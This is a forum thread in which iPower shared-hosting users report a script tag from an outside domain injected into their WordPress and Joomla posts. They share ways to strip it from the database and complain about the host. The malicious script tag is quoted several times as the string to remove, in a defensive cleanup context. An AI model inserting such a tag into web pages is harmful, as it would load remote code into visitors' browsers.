I did the updrage to the latest version now I have some strange code.

Same problem in about 5 of our sites hosted on iPower. I looked into the modified date of the files on my sites. Apparently, a number of files are affected on the same day.

My question is that will it help if I retrieve the site from the iPower backup to a time before the date when the site is hacked?

Are you guys sure its a MySQL attack?

Well in order to write to pages/posts a user must be logged in and have correct access. Considering the WP login process is quite secure, this leads me to think it was a MySQL attack for shared hosting users all sharing the same MySQL install. The only other possibility is that the attack was brought on by a WP plugin, but I doubt we all are running the same plugins.

How did everyone install WP, via the ipower installer or manually?

Found some good tips and security plugins here: https://dre.im/wordpress-end-user-security-orange-county-wordcamp-2011/

Hello all.

I thought I would register and post the information that I’m managing a Joomla Website for my church and my site appeared with the same script file you’re discussing here. I found you on a Google Search of the script. I’m also with iPower and DB is MySQL. Assuming plugins aren’t compatible, that should eliminate any question you have about the problem coming from WordPress code/plug-ins. I doubt it matters but I’m running an Artisteer template.

melt – my blogs were installed a variety of ways over the years, both manually and through the ipower installer, so it doesn’t seem to be specific to a certain type of install. However, so far, one of my clients on iPower seems to be unaffected while all of my clients on other hosting services are completely unaffected.

This kind of thing has happened before many years ago when I found some scripts injected into the footer of my site’s home page. iPower claimed that I must have weak passwords and that someone got in to edit the pages when it was clearly not the case and I wasn’t the only one affected. At least last time it was only in one place. This affected all my posts and likely all of my revisions in order for it to appear 2683 times (I don’t have nearly that many posts).

By the way, does anyone have any news on what this script was supposed to do or how it might have affected my visitors? Has it caused any harm that anyone knows of so far?

We too have compromised blogs on ipower. Same code

I followed what they said above to remove it:

Step 1: Download and Install “Search and Replace” (https://www.ads-software.com/extend/plugins/search-and-replace/)

Step 2: After activate the plugin, search for:
<script src=\”https://infoitpoweringgathering.com/ll.php?kk=11\”></script> and replace it with a space. (It found it in 338 locations in my database)

Step 3: Clear ANY cache installed (IMPORTANT)

ipoint-tech:
Tried using this plugin…..it seems it finds the string but doesn’t replace it. I don’t have any cache plugins installed. How do I clear the cache?

Thanks for your help.

Are you made sure you added a “space” to replace the string with? It doesn’t tell you that it replaces the code, it just does it. Also you might want to hold down ctrl and refresh the page where you are still seeing the code. That will refresh your internal cache.

Yes I added a space in the replace textbox….I tried the export/import method on the other site, it worked, it is just its a bit of work. Thanks ipoint-tech.

same here with ipower, about 10 sites on different databases with that malicious code in them.

solved with this query on phpmyadmin:

UPDATE wp_posts SETpost_content
= REPLACE (post_content,
‘<script src=”https://infoitpoweringgathering.com/ll.php?kk=11″></script>&#8217;,
”)

i’d like to know how this happened in the first place :S

It worked….when I used the following string to be replaced:
<script src=”https://infoitpoweringgathering.com/ll.php?kk=11″></script&gt;

My website was also hit with the “<script src="https://infoitpoweringgathering.com/ll.php?kk=11" type="text/javascript"></script>“ virus. I am hosted by iPower. I’ve taken the following steps to remove the malicious script from my website. Hopefully it will help others remove the viral script as well.

1. Log into iPower’s control panel. Under “Website”, click on “MySQL Database”. Click icon under “Access phpMyAdmin”.
2. In phpMyAdmin, click “Export”. Select your site’s WordPress database in the Export list. Scroll down to the bottom and check the box that says “Save as file”. Hit “Go” button on the bottom right corner of the page.
3. Once the file has been saved, you may want to make a copy of it just as backup. Now open the SQL database text file in Notepad, TextMate, Dreamweaver or the text editor of your choice. Run a search-and-replace for “<script src="https://infoitpoweringgathering.com/ll.php?kk=11" type="text/javascript"></script>“ and replace it with nothing (or a space). [Depending on how large your SQL file is, this may take up to a few dozen seconds. My SQL file was larger than 35MB and I found and replaced over 2,910 instances of the rogue script in it!]
4. Save the clean file. This is what you’ll re-import back into phpMyAdmin. Make sure you have the original (but infected) SQL file in case you encounter any errors. You may also want to do a check for any other additional rogue scripts or strange code, in case you were hit with other malicious code hacks too.
5. Wipe out your original MySQL database in phpMyAdmin by clicking Home > Databases > and your database name. Scroll to the bottom of the page, click “Check All” at the bottom of the table and select “Drop” in the drop-down. Hit the “Go” button in the bottom right corner of the page.
6. After all tables in your database have been dropped, click the “Import” tab at the top of the phpMyAdmin interface.
7. If your SQL file is less than 10MB, you can easily Import the file back into your phpMyAdmin interface. Go ahead and hit Browse and find the MySQL file you just cleaned up. Hit the “Go” button.
8. IMPORTANT NOTE: If your SQL file is LARGER than 10MB, phpMyAdmin will not allow you to upload it back from this interface. Follow these steps to import your clean SQL file back to your hosting site:

1. Download BigDump, a php script that can upload large SQL files back to your database.
2. Unzip the “bigdump.php” script and FTP upload it to a folder on your server.
3. Upload your large SQL file to the same folder as the BigDump script.
4. Navigate to your website’s directory that you created for the BigDump script, ie: https://www.domain.com/bigdump/bigdump.php
5. Find the SQL file and click the “Start Import” link. Wait until the progress bar says that the process is complete. Then you’re done! You’ve finished the work-around to import your larger-than-10MB SQL file back as your database.

• Check in phpMyAdmin that your database tables are all there and intact.
• Navigate back to your website and confirm that the WordPress site is functioning properly. After doing all of the above steps, WordPress prompted me to upgrade my database. I successfully did so.

I hope this helps. Comment back if any of you experienced anything differently. — Mary J.

BTW i Just wanted to throw this out to the group:
Are you satisfied with the iPower shared hosting?

I have observed numerous issues lately and their support never gets to it any time soon. Just an instance, its been 6 hours since a number of my websites on iPower are down but noone has taken any action. It is as if “we don’t care”. I am seriously considering switching.

Any better hosting solutions?

I’d recommend TMD hosting (tmdhosting.com) they are amazing with support. With in 3 minutes of submitting a ticket they normally have someone fixing your problem. I’ve had no issues with them and any problems that arise they seem to always resolve quickly. It’s cheap and they offer video streaming ??